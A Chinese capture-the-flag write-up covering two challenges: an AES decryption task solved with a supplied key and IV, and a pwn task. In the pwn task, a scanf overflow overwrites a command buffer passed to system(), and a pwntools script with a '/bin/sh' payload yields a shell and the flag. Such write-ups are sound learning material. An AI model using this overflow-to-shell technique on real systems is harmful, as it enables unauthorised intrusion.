miaES

下载附件发现已经给出密文 ciphertext，密钥 Key,和初始化向量 iv

写出对应的解密脚本

```
ciphertext = b'\xc6*\xe0^\xeb\xd7}\xcf\x99?IT;j{\xf6\x08\xc3J\xad\x0b6\xaa\x82\xb5[]X>m\xcf\xbc7V\xc1(s\xa2>\xf15\xa5\x91kg\xa4IT\xa4I\xc5*7B\x8f\x8
iv = b"WL\xc58C\x9d3\x7f\xa85\x19\x89\x9b\x8d``"
key = b'9\x83\x13i\xdbA\xf0\x88\xa9b$^\x7f\x1b\xd0\xb8'

def decrypt(k, c):
    round_keys = expand_key(k)
    c = bytes2matrix(c)

    c = add_round_key(c, round_keys[-1])
    c = shift_rows(c, inv=True)
    c = sub_bytes(c, s_box, inv=True)

    for i in range(N_ROUNDS - 1, 0, -1):
        c = add_round_key(c, round_keys[i])
        c = mix_columns(c, inv=True)
        c = shift_rows(c, inv=True)
        c = sub_bytes(c, s_box, inv=True)

    c = add_round_key(c, round_keys[0])

    plaintext = matrix2bytes(c)
    return plaintext

def decrypt_flag(iv, ciphertext):
    s = iv
    plaintext = b''
    for i in range(0, len(ciphertext), 16):
        stream = encrypt(key, s)  # 注意：这里使用加密函数来生成解密所需的流
        xor = lambda x, y: bytes([a ^ b for a, b in zip(x, y)])
        plaintext += xor(ciphertext[i:i + 16], stream)
        s = stream
    return plaintext


# 使用与加密相同的 key 和 iv 进行解密
decrypted_data = decrypt_flag(iv, ciphertext)
print("解密后的明文: " + decrypted_data.decode('utf-8'))
```

```
输出  调试控制台  终端  端口 45

@LAPTOP-N2IL3LVK:~/Python$  /usr/bin/env /bin/python3 /home/zp9080/.vscode-server/extensions/ms-python.python-2023.18.0/pythonFiles/lib/python/debugpy/ada
./../debugpy/launcher 35415 -- /home/zp9080/Python/aes.py
的明文: NOCTF{0h_mi4_Nev3r_7h0ugHt_h3r_Ae3_w1Ll_8e_DeCryPt3d_c@ngr3tu1at1on3}
```

即可得到 flag

Mygo

```
zp9080@LAPTOP-N2IL3LVK:/mnt/c/users/zp/desktop$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, B
uildID[sha1]=8c57b2f60d4324354cd43b2bd2003c5c1c3116bf, for GNU/Linux 3.2.0, not stripped
zp9080@LAPTOP-N2IL3LVK:/mnt/c/users/zp/desktop$ checksec pwn
[*] '/mnt/c/users/zp/desktop/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

惯例先用 checksec

IDA View-A | Pseudocode-A | Hex View-1 | Structures

```
1  int sys_exe()
2  {
3    char v1[60]; // [rsp+0h] [rbp-70h] BYREF
4    char command[4]; // [rsp+3Ch] [rbp-34h] BYREF
5    char v3[48]; // [rsp+40h] [rbp-30h] BYREF
6
7    printf("Please input your name: ");
8    __isoc99_scanf("%s", v3);
9    __isoc99_scanf("%s", v1);
10   printf("Hello, %s %s\n", v3, v1);
11   printf("Please input the command: ");
12   if ( (unsigned int)__isoc99_scanf("%d", &tmp) == 1 )
13   {
14     if ( tmp != 29548 )
15       return puts("Invalid command!");
16     *(_DWORD *)command = tmp;
17   }
18   else
19   {
20     puts("Invalid input!");
21   }
22   return system(command);
23 }
```

发现 scanf(“%s”,v1)，所以可以通过这个函数得到对 command 的控制
然后输入不是数字的东西绕过 scanf(“%d”,&tmp)==1 的检查

mygo.py > ...

```
1   from pwn import *
2
3   context(os="linux",arch="amd64",log_level="debug")
4   io=remote("192.168.200.217",62370)
5
6   io.sendlineafter("----------------------------------------",b'1')
7   io.sendlineafter("Please input your name: ",b'abcd')
8   payload=b'a'*60+b'/bin/sh\x00'
9   io.sendline(payload)
10
11  io.sendlineafter("Please input the command: ",b'adf4415')
12
13  io.interactive()
14
```

问题 输出 调试控制台 终端 端口 48

```
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x1f bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib64\n'
    b'pwn\n'
    b'usr\n'
bin
dev
flag
lib
lib64
pwn
usr
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2b bytes:
    b'flag{82128612-04c4-4fb1-a901-93c14c773e93}\n'
flag{82128612-04c4-4fb1-a901-93c14c773e93}
$
```

ls 后 cat flag 即可（比赛时得到 flag 没有截图，这是比赛结束后写 writeup 时再连接容器得到的 flag）